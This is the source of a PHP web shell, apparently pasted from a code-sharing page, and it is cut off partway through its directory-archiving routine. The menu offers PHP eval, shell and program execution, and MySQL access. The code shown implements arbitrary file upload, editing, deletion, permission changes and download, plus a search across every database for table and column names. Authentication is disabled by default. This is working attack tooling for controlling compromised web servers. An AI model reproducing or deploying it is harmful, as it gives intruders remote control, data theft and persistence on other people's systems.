WCQikivM

1<?php
2$settings = array();
3$settings['perms'] = "string";
4$settings['timeformat'] = "j.n.y, G:i";
5$settings['passprotect'] = false; //password protection
6$settings['users'] = array();
7//$settings['users']['USERNAME'] = 'PASSWORD';
8if(ini_get('register_globals')) {
9 foreach($_REQUEST as $key => $var) {
10  if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
11 }
12 foreach($_FILES as $key => $var) {
13  if(isset($GLOBALS[$key])) unset($GLOBALS[$key]);
14 }
15} 
16if($settings['passprotect']) {
17	if (!isset($_SERVER['PHP_AUTH_USER'])) {
18		header('WWW-Authenticate: Basic realm="Shell account please"');
19		header('HTTP/1.0 401 Unauthorized');
20		echo 'NO.';
21		exit;
22	} else {
23		if(isset($settings['users'][$_SERVER['PHP_AUTH_USER']])) {
24			if($settings['users'][$_SERVER['PHP_AUTH_USER']] == $_SERVER['PHP_AUTH_PW']) {
25				$authed = 1;
26			} else die("NOPE.");
27		} else die("NOPE!");
28	}
29}
30if(get_magic_quotes_gpc()) {
31 foreach($_POST as $key => $var) {
32  $_POST[$key] = stripslashes($var);
33 }
34 foreach($_GET as $key => $var) {
35  $_GET[$key] = stripslashes($var);
36 }
37 foreach($_FILES as $key => $var) {
38  $_FILES[$key] = stripslashes($var);
39 }
40 foreach($_REQUEST as $key => $var) {
41  $_REQUEST[$key] = stripslashes($var);
42 }
43}
44if(!function_exists('sys_get_temp_dir')) {
45	function sys_get_temp_dir() {
46		return "/tmp";
47	}
48}
49function post($v) {
50	if(isset($_POST[$v])) return $_POST[$v];
51	else return null; 
52}
53function get($v) {
54	if(isset($_GET[$v])) return $_GET[$v];
55	else return null; 
56}
57function request($v) {
58	if(isset($_REQUEST[$v])) return $_REQUEST[$v];
59	else return null; 
60}
61
62function files($v) {
63	if(isset($_FILES[$v])) return $_FILES[$v];
64	else return null; 
65}
66
67function showperms($perms,$type="string") {
68	switch($type) {
69		default:
70		case "string":
71			if (($perms & 0xC000) == 0xC000) {
72 			   // Socket
73  			  $info = 's';
74			} elseif (($perms & 0xA000) == 0xA000) {
75 			   // Symbolic Link
76 			   $info = 'l';
77			} elseif (($perms & 0x8000) == 0x8000) {
78 			   // Regular
79  			  $info = '-';
80			} elseif (($perms & 0x6000) == 0x6000) {
81 			   // Block special
82  			  $info = 'b';
83			} elseif (($perms & 0x4000) == 0x4000) {
84  			  // Directory
85   			 $info = 'd';
86			} elseif (($perms & 0x2000) == 0x2000) {
87  			  // Character special
88  			  $info = 'c';
89			} elseif (($perms & 0x1000) == 0x1000) {
90 			   // FIFO pipe
91  			  $info = 'p';
92			} else {
93  			  // Unknown
94   			 $info = 'u';
95			}
96
97			// Owner
98			$info .= (($perms & 0x0100) ? 'r' : '-');
99			$info .= (($perms & 0x0080) ? 'w' : '-');
100			$info .= (($perms & 0x0040) ?
101  			         (($perms & 0x0800) ? 's' : 'x' ) :
102    			        (($perms & 0x0800) ? 'S' : '-'));
103
104			// Group
105			$info .= (($perms & 0x0020) ? 'r' : '-');
106			$info .= (($perms & 0x0010) ? 'w' : '-');
107			$info .= (($perms & 0x0008) ?
108   			         (($perms & 0x0400) ? 's' : 'x' ) :
109   			         (($perms & 0x0400) ? 'S' : '-'));
110
111			// World
112			$info .= (($perms & 0x0004) ? 'r' : '-');
113			$info .= (($perms & 0x0002) ? 'w' : '-');
114			$info .= (($perms & 0x0001) ?
115    		         (($perms & 0x0200) ? 't' : 'x' ) :
116   			         (($perms & 0x0200) ? 'T' : '-'));
117			return $info;
118   		   break;
119   		   case "number":
120   				return substr(sprintf('%o', $perms), -4);
121   		   break;
122	}
123
124}
125
126
127function gettablesql($table,$ver = null) {
128	if($ver == null) {
129		list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
130		$ver = substr($cver,0,1);
131	}
132	echo 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($table).'` ('."\n";
133	$gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
134	$getcolumns = mysql_query($gcqu);
135	if($getcolumns) {
136		$isfirst = 1;
137		$primaries = $npkeys = array();
138		while($column = mysql_fetch_assoc($getcolumns)) {
139			if(!$isfirst) echo ",\n";
140			else $isfirst = 0;
141			echo '	`'.mysql_real_escape_string($column['Field']).'` '.$column['Type'];
142			if(strtoupper($column['Null']) == "NO") echo ' NOT NULL ';
143			else echo ' NULL ';
144			if($column['Extra'] == "auto_increment") echo "AUTO_INCREMENT";
145			elseif($column['Default'] && $column['Type'] == 'timestamp' && $column['Default'] == 'CURRENT_TIMESTAMP') echo "DEFAULT ".mysql_real_escape_string($column['Default']); 
146			elseif($column['Default']) echo "DEFAULT '".mysql_real_escape_string($column['Default'])."'"; 
147			if($column['Key'] == "PRI") $primaries[] = $column['Field'];
148			elseif($column['Key'] == "UNI") echo ",\n	UNIQUE KEY (`".mysql_real_escape_string($column['Field'])."`)";
149			else {
150				if($ver >= 5) $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."` WHERE `Table`='".mysql_real_escape_string($table)."' && `Column_name`='".mysql_real_escape_string($column['Field'])."'";
151				else $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."`";
152				$getkeys = mysql_query($gkqu);
153				if($getkeys) {
154					while($key = mysql_fetch_assoc($getkeys)) {
155						if($ver >= 5 || ($key['Table'] == $table && $key['Column_name'] == $column['Field'])) {
156							$npkeys[$key['Key_name']][] = $key;
157						}
158					}
159				} else die("\nMySQL error: ".mysql_error()." in '".$gkqu."'\n");
160			}
161		}
162		if($npkeys) {
163			foreach($npkeys as $keyname => $key) {
164				if(count($key) == 1) {
165					//no multirow key
166					$key = $key[0];
167					if($key['Non_unique']) {
168						echo ",\n	KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
169					}
170					else {								
171						echo ",\n	UNIQUE KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")";
172					}
173				} else {
174					if($key[0]['Non_unique']) {
175						echo ",\n	KEY (";
176					}
177					else {								
178						echo ",\n	UNIQUE KEY (";
179					}
180					$isfirst = 1;
181					foreach($key as $keypart) {
182						if(!$isfirst) echo ", ";
183						else $isfirst = 0;
184						echo '`'.mysql_real_escape_string($keypart['Column_name']).'`'.($keypart['Sub_part'] ? "(".$keypart['Sub_part'].")" : '');
185					}
186					echo ")";
187
188				}
189			}
190		}
191		if($primaries) {
192			echo ",\n	PRIMARY KEY (";
193			$isfirst = 1;
194			foreach($primaries as $primary) {
195				if(!$isfirst) echo ", ";
196				else $isfirst = 0;
197				echo '`'.mysql_real_escape_string($primary).'`';
198			}
199			echo ")\n";
200		}
201	} else die("\nMysql Errror: ".mysql_error()." in '".$gcqu."'\n");
202	echo ");\n\n";
203}
204function gettablecontentsql($table,$insertbreak = 10,$ver = 0) {
205	if($ver == null) {
206		list($cver) = mysql_fetch_row(mysql_query("SELECT @@version"));
207		$ver = substr($cver,0,1);
208	}
209	$gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`";
210	$getcolumns = mysql_query($gcqu);
211	if($getcolumns) {
212		$columns = array();
213		while($column = mysql_fetch_assoc($getcolumns)) {
214			list($type) = explode("(",$column['Type'],2);
215			$columns[] = $column + array('rtype' => $type);
216			if($column['Extra'] == "auto_increment") $aitab = $column['Field'];
217		}
218	} else die("\nMySQL error: ".mysql_error()." in '".$gcqu."'\n");
219	$insertstart = "INSERT INTO `".mysql_real_escape_string($table)."` (";
220	$isfirst = true;
221	foreach($columns as $column) {
222		if(!$isfirst) $insertstart .= ", ";
223		else $isfirst = false;
224		$insertstart .= "`".mysql_real_escape_string($column['Field'])."`";
225	}
226	$insertstart .= ") VALUES (";
227	$insertend = ");\n";
228	$getrows = mysql_query("SELECT * FROM `".mysql_real_escape_string($table)."` ".(!empty($aitab) ? (" ORDER BY `".mysql_real_escape_string($aitab)."`") : ""));
229	$i = 0;
230	while($row = mysql_fetch_assoc($getrows)) {
231		if(!($i%$insertbreak)) echo $insertstart;
232		else echo ", (";
233		$isfirst = true;
234		foreach($columns as $column) {
235			if(!$isfirst) echo ", ";
236			else $isfirst = false;
237			if($column['Null'] == "YES" && $row[$column['Field']] === null) echo "null";
238			else {
239				switch($column['rtype']) {
240					default: echo "'".mysql_real_escape_string($row[$column['Field']])."'";  break;
241					case "tinyint": case "int": case "float": case "bigint": case "smallint": echo $row[$column['Field']];  break;
242				
243				}
244			}
245		}
246		if(!(($i+1)%$insertbreak)) echo $insertend;
247		else echo ")";
248		$i++;
249	}
250	if($i != 0) echo ";\n";
251}
252function findindb($needle,$type='col',$identical = 0) {
253	$getdatabases = mysql_list_dbs();
254	while ($db = mysql_fetch_row($getdatabases)) {
255		mysql_query("USE `".$db[0]."`");
256		$gettables = mysql_query("SHOW TABLES");
257		while($table= mysql_fetch_row($gettables)) {
258			if($type == 'col') {
259				$getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string($table[0])."`");
260				if($getcolumns) {
261					while($column = mysql_fetch_assoc($getcolumns)) {
262						foreach($needle as $n) { 
263							if((!$identical && stripos($column['Field'],$n) !== false) || ($identical && strtolower($column['Field']) == strtolower($n)) ) {
264								echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Column: <b>".htmlentities($column['Field'])."</b> Found: ".htmlentities($n)."<br />";
265								break;
266							}
267						}
268					}
269				}
270			} elseif($type == 'table') {
271				foreach($needle as $n) { 
272					if((!$identical && stripos($table[0],$n) !== false) || ($identical && strtolower($table[0]) == strtolower($n)) ) {
273						echo "Database: <b>".htmlentities($db[0])."</b> Table: <b>".htmlentities($table[0])."</b> Found: ".htmlentities($n)."<br />";
274						break;
275					}
276				}
277			}
278		}
279	}
280}
281function get_iden_query($iden) {
282	if($iden) {
283		$iden = base64_decode($iden);
284		$crit = explode("&",$iden);
285		if($crit) {
286			$query = "";
287			$error = 0;
288			foreach($crit as $cr) {
289				if(strpos($cr,"=") !== false) {
290					$crits = explode("=",$cr,2);
291					$query .= ($query ? " &&" : "")." `".mysql_real_escape_string($crits[0])."`='".mysql_real_escape_string($crits[1])."'";
292				} else {
293					$error = 1;
294					break;
295				}
296			}
297			if(!$error) {
298				return $query;
299			} else echo "Error: invalid data specified.";
300		} else echo "Error: No specific row selected.";
301	} else echo "Error: That row doesn't exist (anymore?)";
302	return false;
303}
304$action = get('action');
305if(!request('shownone')) { 
306?>
307<div style="font-size:12px; margin:0px; margin-bottom:5px; border:0px; border-bottom:1px black solid; padding:0px; ">
308	[<a href="?action=dir">Files/directories</a>]
309	[<a href="?action=eval">Execute PHP Code (eval)</a>]
310	[<a href="?action=shellexec">Execute Shell</a>]
311	[<a href="?action=exec">Execute ext. program</a>]
312	[<a href="?action=phpinfo">PHPInfo();</a>]
313	[<a href="?action=showglobals">Show all vars</a>]
314	[<a href="?action=mysql">MySQL</a>]
315	[<a href="?action=system">System</a>]
316	<br>
317	[<?php $thingcache = @php_uname(); if($thingcache) list($kernel) = explode("#",$thingcache,2); else $kernel = "Couldn't retrieve Kernel version"; echo $kernel; ?>]
318	[PHP Ver: <?php echo phpversion(); ?>]
319	<?php if(function_exists('php_ini_loaded_file')) { ?>[Ini file: <?php echo php_ini_loaded_file(); ?>]<?php } ?>
320	[User: <?php $thingcache = @get_current_user(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
321	[GID: <?php $thingcache = @getmygid(); if($thingcache) echo $thingcache; else echo "Couldn't retrieve"; ?>]
322	[UID: <?php $thingcache = @getmyuid();if($thingcache) echo $thingcache; else echo "Couldn't retrieve";  ?>]
323	[Safe mode: <?php  if(ini_get("safe_mode") || strtolower(ini_get("safe_mode")) == "on") echo "on"; else echo "off"; ?>]
324	[Open basedir: <?php if(ini_get("open_basedir") || strtolower(ini_get("open_basedir")) == "on") echo "on"; else echo "off"; ?>]
325	<br><span style="font-size:11px;">[Server: <?php echo htmlentities($_SERVER['SERVER_SOFTWARE']);?>]</span>
326	<br><span style="font-size:11px;">[Server IP: <?php echo htmlentities($_SERVER['SERVER_ADDR']);?> (<?php echo htmlentities($_SERVER['SERVER_NAME']);?>)] [Your IP: <?php echo htmlentities($_SERVER['REMOTE_ADDR']);?> (<?php echo htmlentities(gethostbyaddr($_SERVER['REMOTE_ADDR']));?>)] 
327		[Space: <?php if(@disk_free_space(getcwd()) && @disk_total_space(getcwd())) { echo round(disk_free_space(getcwd())/(1024*1024*1024),2);?>/<?php echo round(disk_total_space(getcwd())/(1024*1024*1024),2);?>GB<?php } else echo "Couldn't retrieve"; ?>] [Script pos: <a href="?action=dir&dir=<?php echo urlencode(getcwd());?>"><?php echo getcwd(); ?></a>]</span>
328
329	</div>
330<?php
331}
332switch($action) {
333	default:
334	case "dir":
335	//add other options here later
336	case "listdir":
337		if(!get('dir')) $dir = getcwd();
338		else $dir = get('dir');
339		?>
340			<form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
341				<input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
342				Directory navigation: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>" size="60">
343				<input type="submit" value="List Dir">
344			</form>
345			<form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
346				<input type="hidden" name="action" value="touch">
347				Touch (create) file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
348				<input type="submit" value="Make file">
349			</form>
350			<form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
351				<input type="hidden" name="action" value="file">
352				Edit file: <input type="text" name="file" value="<?php echo htmlentities($dir);?>/" size="60">
353				<input type="submit" value="Open file">
354			</form>
355			<form style="margin:0px;" method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
356				<input type="hidden" name="action" value="mkdir">
357				Make directory: <input type="text" name="dir" value="<?php echo htmlentities($dir);?>/" size="60">
358				<input type="submit" value="Make dir">
359			</form>
360			<form  style="margin:0px;" enctype="multipart/form-data" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>?action=upfile" method="POST">
361				<input type="hidden" name="dir" value="<?php echo htmlentities($dir); ?>">
362				Upload file to this dir: <input name="file" type="file">
363				<input type="submit" value="Upload file">
364				overwrite? <input type="checkbox" name="overwrite" value="1" />
365				rename? <input type="text" name="fname" value="" size="20">
366			</form>
367			
368		<?php
369		if(@is_dir($dir)) {
370			if($dircontent = scandir($dir)) {
371				echo "<table border=\"1\">";
372				?><tr><td>type</td><td>go</td><td>X</td><td>DL</td><td>name</td><td>size</td><td>mode</td><td>owner</td><td>group</td><td>access</td><td>change</td></tr><?php
373				foreach($dircontent as $thing) {
374					if(@is_dir($dir."/".$thing)) $isdir = true;
375					else $isdir = false;
376				
377					if($thing == ".") $thingpath =  "/";
378					else $thingpath = @realpath($dir."/".$thing);
379					?>
380						<tr>
381							<td>
382								<?php 
383									if($isdir) echo "<font color=\"#AAAA00\"><b>dir</b></font>"; 
384									else echo "<font color=\"#AAAAAA\"><b>file</b></font>";
385								?>
386							</td>
387							<td>
388								<?php 
389									if($isdir) echo "<a href=\"?action=listdir&dir=".urlencode($thingpath)."\">go</a>"; 
390									else echo "<a href=\"?action=file&file=".urlencode($thingpath)."\">go</a>";
391								?>
392							</td>
393							<td>
394								<?php 
395									if($isdir) { if($thingpath != "/") echo "<a href=\"?action=rmdir&dir=".urlencode($thingpath)."\">rm</a>"; }
396									else echo "<a href=\"?action=delfile&file=".urlencode($thingpath)."\">del</a>";
397								?>
398							</td>
399							<td>
400								<?php 
401									if(!$isdir) echo "<a href=\"?action=dlfile&shownone=true&file=".urlencode($thingpath)."\">dl</a>";
402									else echo "<a href=\"?action=zipdir&shownone=true&dir=".urlencode($thingpath)."\">zip</a>";
403								?>
404							</td>
405							<td>
406								<b><?php echo htmlentities($thing); ?></b>
407							</td>
408							<td>
409								<?php 
410									if($isdir) {  echo "-"; }
411									else echo ((round(filesize($thingpath)/1024,2) != 0) ? (round(filesize($thingpath)/1024,2)." kb") : (filesize($thingpath)."b"));
412								?>
413							</td>
414							<td>
415								<b style='font-family:courier,"courier new";'>
416									<?php 
417										echo showperms(@fileperms($thingpath),$settings['perms']);
418									?>
419								</b>
420							</td>
421							<td>
422								<?php 
423									echo @fileowner($thingpath);
424								?>
425							</td>
426							<td>
427								<?php 
428									echo @filegroup($thingpath);
429								?>
430							</td>
431							<td>
432								<?php 
433									echo date($settings['timeformat'],@fileatime($thingpath));
434								?>
435							</td>
436							<td><b>
437								<?php 
438									echo date($settings['timeformat'],@filectime($thingpath));
439								?>
440							</b></td>
441						</tr>
442					<?php
443				}
444				echo "</table>";
445			} else {
446				echo "<b>Error:</b> No permission to open \"".htmlentities($dir)."\". DENIED!<br>";
447			}
448		} else {
449			echo "<font color=\"#990000\">";
450			if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
451			else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
452			echo "</font>";
453		}
454		
455	break;
456	case "upfile":
457		if($file = files('file')) {
458			$dir = (trim(post('dir')) && is_dir(trim(post('dir')))) ? trim(post('dir')) : getcwd();
459			if(substr($dir,-1,1) != "/") $dir .= "/";
460			if(trim(post('fname'))) $filename = $dir.trim(post('fname'));
461			else $filename = $dir.$file['name'];
462			if(file_exists($filename)) {
463				echo "<font color=\"#990000\">File ".htmlentities($filename)." already exists!</font><br>";
464			}
465			if(!file_exists($filename) || post('overwrite')) {
466				if(file_exists($filename)) echo "<b>Overwriting...</b><br>";
467				if(move_uploaded_file($file['tmp_name'], $filename)) {
468					echo "<font color=\"#00AA00\"><b>FILE UPLOADED!</b></font><br>";
469				} else {
470					echo "<font color=\"#990000\">Upload failed. Fuck. </font><br>";
471				}
472			}
473
474		} else echo "<font color=\"#990000\"><b>Error:</b> No file uploaded</font><br>";
475		?>
476[<a href="?action=dir&dir=<?php echo urlencode($dir);?>">containing directory</a>] 
477[<a href="?action=delfile&file=<?php echo urlencode($filename);?>">delete again</a>]
478[<a href="?action=php&file=<?php echo urlencode($filename);?>">as php source</a>]
479[<a href="?action=html&file=<?php echo urlencode($filename);?>">as html</a>]
480[<a href="?action=file&file=<?php echo urlencode($filename);?>">edit file</a>]
481
482		<?php
483	break;
484	case "file":
485	case "editfile":
486		$file = get('file');
487		if($file) {
488			if(is_file($file)) {
489				if(post('newname') && post('newname') != $file) {
490					if(post('fnoverwrite') || !file_exists(post('newname'))) {
491						if(rename($file,post('newname'))) {
492							 echo "<font color=\"#00AA00\"><b>File name changed successfully</b></font><br>";
493						 	$file = post('newname');
494					 	}
495						else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name</font><br>";
496					} else echo "<font color=\"#990000\"><b>Error:</b> Failed to change file name - a file with that name already exists!</font><br>";
497				}
498				if(post('copyto') && post('copyto') != $file) {
499					if(post('fcoverwrite') || !file_exists(post('copyto'))) {
500						if(copy($file,post('copyto'))) {
501							 echo "<font color=\"#00AA00\"><b>File copied successfully</b></font><br>";
502						 }
503						else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file</font><br>";
504					} else echo "<font color=\"#990000\"><b>Error:</b> Failed to copy file - a file with that name already exists!</font><br>";
505				}
506				if(post('chmod') && post('chmod') != substr(sprintf('%o', fileperms($file)),-4)) {
507					if(preg_match("/^([0-8]{3,4})$/",post('chmod')) ) {
508						if(chmod($file,octdec(post('chmod')))) {
509							 echo "<font color=\"#00AA00\"><b>File CHMod to ".htmlspecialchars(post('chmod'))." successful</b></font><br>";
510							 $chmod = htmlspecialchars(post('chmod'));
511						 }
512						else echo "<font color=\"#990000\"><b>Error:</b> Failed to CHMod</font><br>";
513					} else echo "<font color=\"#990000\"><b>Error:</b> That is not a valid CHMod number.</font><br>";
514				} 
515				if(post('owner') && post('owner') != fileowner($file)) {
516					if(chown($file,post('owner'))) echo "<font color=\"#00AA00\"><b>File owner changed successfully</b></font><br>";
517					else echo "<font color=\"#990000\"><b>Error:</b> Failed to change owner </font><br>";
518				}
519				if(post('group') && post('group') != filegroup($file)) {
520					if(chgrp($file,post('group'))) echo "<font color=\"#00AA00\"><b>File group changed successfully</b></font><br>";
521					else echo "<font color=\"#990000\"><b>Error:</b> Failed to change group </font><br>";
522				}
523			}
524		}
525	case "php":
526	case "html":
527		$file = get('file');
528		?>
529			<form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']);?>">
530				<input type="hidden" name="action" value="<?php echo htmlentities($action); ?>">
531				File: <input type="text" name="file" value="<?php echo htmlentities($file);?>" size="60">
532				<input type="submit" value="List">
533			</form>
534			
535		<?php
536		if($file) {
537			if(is_file($file)) {
538				$info = pathinfo($file);
539				if(post('contents')) {
540					if(file_put_contents($file,post('contents'))) {
541						echo "<font color=\"#00AA00\"><b>File edited successfully</b></font><br>";
542					} else echo "<font color=\"#990000\"><b>Error:</b> Can't writing to file!</font><br>";
543				} 
544				if(!isset($chmod)) $chmod = substr(sprintf('%o', fileperms($file)),-4);
545				?>
546					<form method="POST" action="<?php echo htmlentities(post('SCRIPT_NAME'));?>?action=<?php echo htmlentities($action); ?>&file=<?php echo htmlentities($file)?>">
547					new file name/path: <input type="text" name="newname" value="<?php echo htmlentities($file);?>" size="60"> <input type="checkbox" name="fnoverwrite" value="1">Overwrite existing files<br>
548					copy to: <input type="text" name="copyto" value="" size="60"> <input type="checkbox" name="fcoverwrite" value="1">Overwrite existing files<br>
549					new CHMOD: <input type="text" name="chmod" value="<?php echo $chmod;?>" size="60"><br>
550					new File owner (id or name): <input type="text" name="owner" value="<?php echo htmlentities(fileowner($file));?>" size="60"><br>
551					new File group (id or name): <input type="text" name="group" value="<?php echo htmlentities(filegroup($file));?>" size="60"><br>
552				<?php
553				if($action != "php" && $action != "html") {
554				?>
555					<textarea name="contents" style="width:80%; height:500;"><?php 
556						$handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
557						if($handle) {
558							while (!feof($handle)) {
559							    $buffer = fgets($handle, 4096);
560							    echo htmlentities($buffer);
561							}
562							fclose ($handle);
563						} else echo "Could not open file! Denied!";
564					?></textarea><br>
565				<?php
566				} elseif($action == "php") {
567					echo "<hr />";
568					if(highlight_file($file));
569					else echo "Could not open file! Denied!";
570					echo "<hr />";
571				} elseif($action == "html") {
572					echo "<hr />";
573					$handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
574					if($handle) {
575						while (!feof($handle)) {
576						    $buffer = fgets($handle, 4096);
577						    echo $buffer;
578						}
579						fclose ($handle);
580					} else echo "Could not open file! Denied!";
581					echo "<hr />";
582				}
583				?>
584					<input type="submit" value="edit!"> [<a href="?action=dir&dir=<?php echo urlencode($info['dirname']);?>">containing directory</a>] [<a href="?action=delfile&file=<?php echo urlencode($file);?>">delete</a>] [<a href="?action=php&file=<?php echo urlencode($file);?>">as php source</a>] [<a href="?action=html&file=<?php echo urlencode($file);?>">as html</a>] [<a href="?action=file&file=<?php echo urlencode($file);?>">edit file</a>]
585					</form>
586				<?php
587			} else {
588				echo "<font color=\"#990000\">";
589				if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
590				else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
591				echo "</font>";
592			}
593		}
594	break;
595	case "delfile":
596		$file = get('file');
597		if($file) {
598			if(is_file($file)) {
599				if(post('sure')) {
600					if(unlink($file)) echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" deleted successfully!</b></font><br><a href=\"?action=dir&dir=".htmlentities(( substr($file,0,strrpos($file,'/')) ))."\">Back to the directory listing</a>";
601					else echo "<font color=\"#990000\"><b>Error while deleting the file \"".htmlentities($file)."\"!</b></font>";
602				} else {
603					?>
604						<form method="POST">
605							Do you really want to delete the file "<?php echo htmlentities($file); ?>"?<br>
606							<input type="checkbox" name="sure" value="1"> Yes.<br>
607							<input type="submit" value="Do it!">
608						</form>
609					<?php	
610				}
611			} else {
612				echo "<font color=\"#990000\">";
613				if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
614				else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a file<br>";
615				echo "</font>";
616			}
617		}
618	break;
619	case "dlfile":
620		$file = get('file');
621		if($file) {
622			if(is_file($file)) {
623				$ffile = substr(strrchr($file,'/'),1);
624				$handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory
625				if($handle) {
626					header('Content-Disposition: attachment; filename="'.$ffile.'"');
627					header('Content-Transfer-Encoding: binary');
628					header("Content-Length: " . filesize($file));
629					while (!feof($handle)) {
630						$buffer = fgets($handle, 4096);
631						echo $buffer;
632					}
633					fclose ($handle);
634				} else echo "Could not open file! Denied!";
635			} else echo "not a file";
636		} else echo "no file";
637	break;
638	case "rmdir":
639		$dir = get('dir');
640		if($dir) {
641			if(is_dir($dir)) {
642				if(post('sure')) {
643					if(rmdir($dir)) echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" deleted successfully!</b></font><br><a href=\"?action=dir\">Back to the directory listing</a>";
644					else echo "<font color=\"#990000\"><b>Error while deleting the directory \"".htmlentities($dir)."\"! (maybe it's not empty?)</b></font>";
645				} else {
646					?>
647						<form method="POST">
648							Do you really want to delete the directory "<?php echo htmlentities($dir); ?>"? (it has to be empty)<br>
649							<input type="checkbox" name="sure" value="1"> Yes.<br>
650							<input type="submit" value="Do it!">
651						</form>
652					<?php	
653				}
654			} else {
655				echo "<font color=\"#990000\">";
656				if(!file_exists($file)) echo "<b>Error:</b> \"".htmlentities($file)."\" does not exist.<br>";
657				else echo "<b>Error:</b> \"".htmlentities($file)."\" is not a directory<br>";
658				echo "</font>";
659			}
660		}
661	break;
662	case "zipdir":
663		ignore_user_abort(true);//this is to make sure the zip archive gets deleted from the temp folder
664		$dir = get('dir');
665		if($dir) {
666			if(is_dir($dir)) {
667				$fdir = substr(strrchr(substr($dir,1),'/'),1);
668				if(class_exists('ZipArchive') && !isset($_GET['sh']) && !isset($_GET['tar'])) {
669					$zip = new ZipArchive();
670					$tmpfile = tempnam(sys_get_temp_dir(), "zip"); 
671					if($zip->open($tmpfile, ZipArchive::CREATE | ZIPARCHIVE::OVERWRITE)) {
672						$dirName = $dir;
673						if (!is_dir($dirName)) {
674						    echo 'Directory ' . $dirName . ' does not exist';
675						} else {
676
677
678							$dirName = realpath($dirName);
679							if (substr($dirName, -1) != DIRECTORY_SEPARATOR) {
680							    $dirName.= DIRECTORY_SEPARATOR;
681							}
682
683							$dirStack = array($dirName);
684							//Find the index where the last dir starts
685							$cutFrom = strrpos(substr($dirName, 0, -1), DIRECTORY_SEPARATOR)+1;
686
687							while (!empty($dirStack)) {
688							    $currentDir = array_pop($dirStack);
689							    $filesToAdd = array();
690
691							    $dir = dir($currentDir);
692							    while (false !== ($node = $dir->read())) {
693								if (($node == '..') || ($node == '.')) {
694								    continue;
695								}
696								if (is_dir($currentDir . $node)) {
697								    array_push($dirStack, $currentDir . $node . DIRECTORY_SEPARATOR);
698								}
699								if (is_file($currentDir . $node)) {
700								    $filesToAdd[] = $node;
701								}
702							    }
703
704							    $localDir = substr($currentDir, $cutFrom);
705							    $zip->addEmptyDir($localDir);
706							   
707							    foreach ($filesToAdd as $file) {
708								$zip->addFile($currentDir . $file, $localDir . $file);
709							    }
710							}
711
712							$zip->close();
713							$handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
714							if($handle) {
715								header("Content-Type: application/zip");
716								header("Content-Length: " . filesize($tmpfile));
717								header("Content-Disposition: attachment; filename=\"".$fdir.".zip\"");
718								while (!feof($handle)) {
719									echo fgets($handle, 4096);
720								}
721								fclose ($handle);
722							} else echo "Could not open zip file. Weird.";
723						}
724						unlink($tmpfile);
725					} else {
726						echo "error while creating zip";
727					}
728				
729				} else {
730					//echo "<font color=\"#990000\">ZipArchive class not available! Can't zip anything!</font>";
731					//Zip not available -> using cmd instead
732					$tmpfile = tempnam(sys_get_temp_dir(), "zip").".zip"; 
733					if(!isset($_GET['tar']) && $cmd = exec("zip -r \"".$tmpfile."\" \"".realpath($dir)."\"",$output,$ret)) {
734						$handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
735						if($handle) {
736							header("Content-Type: application/zip");
737							header("Content-Length: " . filesize($tmpfile));
738							header("Content-Disposition: attachment; filename=\"".$fdir.".zip\"");
739							while (!feof($handle)) {
740								echo fgets($handle, 4096);
741							}
742							fclose ($handle);
743						} else {
744							echo "Could not open zip. Weird.";
745						}
746						if(file_exists($tmpfile)) unlink($tmpfile);
747					} else {
748						//echo "zip failed:<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
749						if(file_exists($tmpfile)) unlink($tmpfile);
750
751						$tmpfile = tempnam(sys_get_temp_dir(), "tar").".tar"; 
752						$cmdd = "tar -cf \"".$tmpfile."\" \"".realpath($dir)."\"";
753						$cmd = exec($cmdd,$output,$ret);
754						if(!$ret) {
755							$handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory
756							if($handle) {
757								header("Content-Type: application/tar");
758								header("Content-Length: " . filesize($tmpfile));
759								header("Content-Disposition: attachment; filename=\"".$fdir.".tar\"");
760								while (!feof($handle)) {
761									echo fgets($handle, 4096);
762								}
763								fclose ($handle);
764							} else {
765								echo "Could not open tar. Weird.";
766							}
767							if(file_exists($tmpfile)) unlink($tmpfile);
